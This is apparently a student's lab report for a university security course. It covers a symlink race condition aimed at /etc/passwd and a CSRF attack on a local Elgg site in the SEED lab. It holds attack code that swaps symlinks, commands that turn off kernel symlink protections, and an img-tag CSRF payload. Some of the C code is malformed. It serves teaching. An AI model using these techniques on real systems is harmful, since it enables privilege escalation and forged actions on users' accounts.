

CSCI 191T (Assignment 3) – Race Condition & CSRF

Section 1:

- 1) No, this program does not have a race condition vulnerability. This is because the `/etc/passwd` is a protected file which means that the user will not have access to write into it therefore the block will not execute.
- 2) If we disable the root privileges before the `strcpy()` and enable it afterwards, this will not work because the attack happens when we return from the `bof()`. But if we disable the root privileges before the `bof()` function call and enable it after that, the attack can be prevented.
- 3) Yes, there is the race condition vulnerability in this program. The `access()` system will call to check if the REAL USER ID has the ability to write into the file and if the ID does have the confirmation, the file can be written into. The attack window is found between the status variable and `write_to_file` function and we can use this time window to check the status and write into it by pointing it to an already existing file like the `/etc/passwd` file.
- 4a) If the case of request originates from one site only, it will be sent if the same site cookie is also the session cookie. In the case of CSRF attacks, even though the attacker redirects you to the malicious site and makes a request to the original site to exploit your sensitive information, it will fail. This is because the browser will not send the session cookie since the malicious site has a different origin than the original site and this would result in the malicious code from executing since the user is logged out of the original website.
- 4b) Websites nowadays use anti-CSRF tokens as a secret token protection from the CSRF token. These are always saved in a session variable. The token is hidden in a form field that is

used to send through the request. The web application will only allow the request to go through if the value of the session variable and the form field that is hidden are matching.

5) We can redirect to <http://www.example.com/delete.php?pageid=5> by the following:

Code:

```
<html>

<body>

<h1> Delete a page owned by the user. </h1>

<img src = “http://www.example.com/delete.php?pageid=5” />

</body>


</html>
```

6) No, we cannot. Cross-site requests are utilized in numerous scenarios for example, by using your credentials of your Google account to login to YouTube or even from Facebook to Instagram. If the browser is not attaching the cookies, the authentication fails.

Section 2:


PART 1:

Step 1: Turning off all countermeasures to allow attack to take place.




```
Activities Terminal Oct 27 12:05 AM seed@VM: ~/.../RaceCondition
[10/27/22]seed@VM:~/.../RaceCondition$ sudo sysctl -w fs.protected_symlinks=0
fs.protected_symlinks = 0
[10/27/22]seed@VM:~/.../RaceCondition$ sudo sysctl fs.protected_regular=0
fs.protected_regular = 0
[10/27/22]seed@VM:~/.../RaceCondition$
```

Step 2: The program that allows the attack to take place. Therefore, we created a fixed program to prevent the attack (seen below in screenshots).



```
1 #include<unistd.h>
2
3 int main()
4 {
5     while(1)
6     {
7         unlink("/tmp/XYZ");
8         symlink("/dev/null", "/tmp/XYZ");
9         usleep(10000);
10    }
11    unlink("/tmp/XYZ");
12    symlink("/etc/passwd", "/tmp/XYZ");
13    usleep(10000);
14 }
15 return 0;
16 }
17
```



```
1 #define _GNU_SOURCE
2 #include <stdio.h>
3 #include<unistd.h>
4
5 int main()
6 {
7     unsigned int flags = RENAME_EXCHANGE;
8     unlink("/tmp/XYZ");
9     symlink("/dev/null", "/tmp/XYZ");
10    usleep(10000);
11
12    unlink("/tmp/XYZ");
13    symlink("/etc/passwd", "/tmp/ABC");
14    usleep(10000);
15
16    renameat2(0, "/tmp/XYZ", 0, "/tmp/ABC", flags);
17    return 0;
18 }
19
```

Step 3: Compiling the original program to execute the attack.

```
[10/28/22] seed@VM:~/.../RaceCondition$ gcc attackproc.c -o attackproc
[10/28/22] seed@VM:~/.../RaceCondition$ sudo chown root attackproc
[10/28/22] seed@VM:~/.../RaceCondition$ sudo chmod 4755 attackproc
```

Step 4: The attack was unsuccessful, after waiting for a while there was no response within the terminal.


```
[10/28/22] seed@VM:~/.../RaceCondition$ echo "test" | ./attackproc
```

Step 5: But when attempting the attack with the fixed program, it reroutes back to the folder the program was on.


```
[10/28/22] seed@VM:~/.../RaceCondition$ gcc attackprocfix.c -o attackprocfix
[10/28/22] seed@VM:~/.../RaceCondition$ sudo chown root attackprocfix
[10/28/22] seed@VM:~/.../RaceCondition$ sudo chmod 4755 attackprocfix
[10/28/22] seed@VM:~/.../RaceCondition$ ls -l /etc/passwd
-rw-r--r-- 1 root root 2886 Nov 24 2020 /etc/passwd
[10/28/22] seed@VM:~/.../RaceCondition$ echo "test" | ./attackprocfix
[10/28/22] seed@VM:~/.../RaceCondition$
```

PART 2:

Step 1: Setting up the environment to run the Samy is my Hero attack. Using dcbuild and dcup to start connection to server (as seen in both screenshots below).



```
[10/25/22]seed@VM:~/..../CSRF$ dcbuild
Building elgg
Step 1/10 : FROM handsonsecurity/seed-elgg:original
--> e7f441caa931
Step 2/10 : ARG WWWDir=/var/www/elgg
--> Using cache
--> bb1684173750
Step 3/10 : COPY elgg/settings.php $WWWDir/elgg-config/settings.php
--> Using cache
--> 4971a589868e
Step 4/10 : COPY elgg/Security/Security/Csrf.php $WWWDir/vendor/elgg/elgg/engine/classes/Elgg/Security/Csrf.php
--> Using cache
--> 0d1e5f5eflae
Step 5/10 : COPY elgg/ajax.js $WWWDir/vendor/elgg/elgg/views/default/core/js/
--> Using cache
--> 41183f15942f
Step 6/10 : COPY apache_elgg.conf /etc/apache2/sites-available/
--> Using cache
--> 210aa94757be
Step 7/10 : RUN a2ensite apache_elgg.conf
--> Using cache
--> eb4c9cf4c328
```



```
--> Using cache
--> 62714a59be29

Successfully built 62714a59be29
Successfully tagged seed-image-attacker-csrf:latest
[10/25/22]seed@VM:~/..../CSRF$ dcup
Creating network "net-10.9.0.0" with the default driver
Creating mysql-10.9.0.6 ... done
Creating elgg-10.9.0.5 ... done
Creating attacker-10.9.0.105 ... done
Attaching to mysql-10.9.0.6, attacker-10.9.0.105, elgg-10.9.0.5
mysql-10.9.0.6 | 2022-10-25 23:47:42+00:00 [Note] [Entrypoint]: Entrypoint script for MySQL Server 8.0.22-1debian10 started.
mysql-10.9.0.6 | 2022-10-25 23:47:42+00:00 [Note] [Entrypoint]: Switching to dedicated user 'mysql'
mysql-10.9.0.6 | 2022-10-25 23:47:42+00:00 [Note] [Entrypoint]: Entrypoint script for MySQL Server 8.0.22-1debian10 started.
mysql-10.9.0.6 | 2022-10-25 23:47:42+00:00 [Note] [Entrypoint]: Initializing database files
mysql-10.9.0.6 | 2022-10-25T23:47:42.802513Z 0 [System] [MY-013169] [Server] /usr/sbin/mysqld (mysqld 8.0.22) initializing of server in progress as process 44
mysql-10.9.0.6 | 2022-10-25T23:47:42.810105Z 1 [System] [MY-013576] [InnoDB] InnoDB initialization has started.
mysql-10.9.0.6 | 2022-10-25T23:47:43.231589Z 1 [System] [MY-013577] [InnoDB] InnoDB
```

Step 2: Adding the respective IP addresses to the `/etc/hosts`.

The screenshot shows a terminal window with the following content:

```

1 127.0.0.1      localhost
2 127.0.0.1      VM
3
4 # Terminal window title: *hosts /etc
5
6 seed@VM: ~/.../CSRF
7
8 [10/25/22] seed@VM: ~/.../CSRF$ dockps
9 c44f9c2d1554  attacker-10.9.0.105
10 a01b01985c77  elgg-10.9.0.5
11 ab546cc90762  mysql-10.9.0.6
12
13 [10/25/22] seed@VM: ~/.../CSRF$ sudo gedit /etc/hosts
14
15 # For CSRF Lab
16
17 10.9.0.5      www.csrflabelgg.com
18 10.9.0.5      www.csrflab-defense.com
19 10.9.0.105    www.csrflab-attacker.com
20
21 10.9.0.5      www.seed-server.com
22 10.9.0.5      www.example32.com
23 10.9.0.105    www.attacker32.com
24
25 # For Shellshock Lab
26 10.9.0.80     www.seedlab-shellshock.com
27 10.9.0.5      www.seed-server.com

```

Step 3: Getting a post request while being logged into active session (Alice's account).


The screenshot shows the Firefox browser interface with the 'HTTP Header Live' extension active. The main window displays the captured POST request details for the URL `http://www.seed-server.com/action/login`. The request headers include:

- Host: `www.seed-server.com`
- User-Agent: `Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0`
- Accept: `application/json, text/javascript, */*; q=0.01`
- Accept-Language: `en-US,en;q=0.5`
- Accept-Encoding: `gzip, deflate`
- X-Elgg-Ajax-API: `2`
- X-Requested-With: `XMLHttpRequest`
- Content-Type: `multipart/form-data; boundary=-----298493919840427852931807804798`
- Content-Length: `690`
- Origin: `http://www.seed-server.com`
- Connection: `keep-alive`
- Referer: `http://www.seed-server.com/`
- Cookie: `__gsas=ID=3b8d31df04427981:T=1661457033:S=ALNI_MbSr3f7_ARURUNl65X3Shw5CqaCVg; Elgg=icrhsgdgccl5ai6i9vbls5n3gr8`


The request body is a POST data string: `_elgg_token=e1LZ6XsfFQf4oVmVFA1Tuw&__elgg_ts=1666742289&username=alice&password=seedalice&persistent=true`. The status bar at the bottom indicates the response is `HTTP/1.1 200 OK` with a content length of 106 bytes.

A secondary window titled 'HTTP Header Live Sub' is also visible, showing the same request details in a simplified view.


Step 4: While logged in as Samy, we add Alice through Samy's account as a friend.




Step 5: We then view the page source of Samy's active session to get Samy's GUID number, which is 59.




Step 6: Accessing the docker shell while using the information obtained from dockps regarding the attacker IP address.




Step 7: Inside the addfriend.html file, we then add Samy's GUID url to the file.




Step 8: We get the docker to copy the addfriend file and upload it to the attacker server.



Step 9: Once logged into Alice as an active session, we go to the attacker32.com website to initiate the attacker on Alice as Samy by adding Samy as Alice's friend on her profile.




Step 10: We then click on the add friend attack to allow the attack to start.




This page forges an HTTP GET request




Step 11: After several times of refreshing the page, we then get a successful response from the attack, Samy is now Alice's friend.



Step 12: We log into Samy's account and edit his about me and brief description stating "Samy is my Hero."



Step 13: We then open the editprofile.html file to continue the attack process. We add in Alice's GUID, name and the description to be shown on her profile for a successful attack.



Step 14: After saving the file and clicking on the edit profile attack from the attacker32.com website, we then refresh the page and finally get the attack completed. As seen below, Alice has now been attacked, with the description on her page stating “Samy is my Hero.”

